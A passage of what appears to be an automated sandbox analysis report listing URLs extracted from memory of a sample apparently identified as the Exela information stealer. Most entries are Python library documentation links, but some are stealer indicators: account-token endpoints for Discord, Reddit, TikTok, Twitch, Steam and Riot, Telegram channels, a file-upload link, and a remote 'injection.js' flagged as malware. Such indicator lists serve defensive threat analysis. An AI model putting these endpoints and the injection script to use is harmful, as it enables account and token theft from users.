https://www.attrs.org/en/stable/why.html#data-classes).	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/ssl.html#ssl.OP_NO_COMPRESSION	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp	false		high
https://account.riotgames.com/api/account/v1/user	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://accounts.reddit.com/api/access_token	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F9	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999597567.000002DCD0850000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999238737.000002DCD0640000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/issues/8996	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003420709.00007FFDFA701000.00000040.00000001.01000000.0000001E.sdmp	false		high
https://gofile.io/d/mn2lNW)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/251	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989764898.000002DCCF597000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969997805.000002DCCF596000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tiktok.com/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/aio-libs/aiohttp/discussions/6044	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997316180.000002DCCFD00000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971539043.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1965135302.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990080929.000002DCCF6A4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000003B.00000003.1758408950.000001B777B03000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B54000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B67000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B48000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000003B.00000003.1758408950.000001B777B22000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/ExelaStealerP5	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1995329450.000002DCCF990000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org:80	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1995329450.000002DCCF990000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1661328748.000002DCCD0E5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662491897.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971643797.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969728459.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1972101982.000002DCCD0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986072702.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/sponsors/hynek	Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/actions?query=workflow%3ACI	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654181174.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828658732.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://oauth.reddit.com/api/v1/me	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.hizliresim.com/6t31tw2.jpgp	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/LICENSE-2.0	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1653924783.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1654069044.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1653993804.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828354705.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828510059.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828426527.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/23.2.0/_static/sponsors/FilePreviews.svg	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989619337.000002DCCF540000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670767651.000002DCCED27000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970219696.000002DCCF53F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000003B.00000003.1758408950.000001B777AD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/1200)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652743092.000001FC75816000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827086574.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784B4000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827210327.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827349619.0000023B784AB000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1827119247.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826966748.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/home	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gql.twitch.tv/gql:	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.kill	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990622954.000002DCCF730000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/quicaxd/Exela-V2.0/Exela-V2.00	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs/issues/136	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670055005.000002DCCF63B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1968238543.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1989717007.000002DCCF57B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1984324624.000002DCCF57A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670503006.000002DCCF5DD000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1970219696.000002DCCF53F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1976604985.000002DCCF578000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1967958889.000002DCCF46B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1987192175.000002DCCEF1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i.hizliresim.com/8po0puy.jfif	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0205/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986993183.000002DCCEE10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1990622954.000002DCCF730000.00000004.00001000.00020000.00000000.sdmp	false		high
https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1997146489.000002DCCFBE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000003B.00000003.1758408950.000001B777B22000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json.org	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1670341282.000002DCCEF78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://zopeinterface.readthedocs.io/en/latest/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1979336001.000002DCCF0DB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969024366.000002DCCF085000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1956504995.000002DCCF085000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969507113.000002DCCF0C2000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1988968795.000002DCCF0E0000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1887859569.000002DCCF085000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1976001517.000002DCCF0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1733430816.000002DCCF075000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986134334.000002DCCE918000.00000004.00001000.00020000.00000000.sdmp	false		high
https://t.me/Exela	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1955400520.000002DCD1507000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/quicaxd/Exela-V2.00D	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/justforExela/injection/main/injection.js	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1661328748.000002DCCD0E5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662491897.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1971643797.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1969728459.000002DCCD0AA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1972101982.000002DCCD0DA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986072702.000002DCCD0DC000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1662654764.000002DCCD0C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.com/api/v8/users/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i.hizliresim.com/qxnzimj.jpg	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.apache.org/licenses/	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1653993804.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1828426527.0000023B784A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.attrs.org/en/latest/names.html)	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652761806.000001FC7580B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652833038.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652670092.000001FC75808000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652635868.000001FC7580F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652933030.000001FC7580D000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 00000051.00000003.1826907012.0000023B784AD000.00000004.00000020.00020000.00000000.sdmp, Exela.exe, 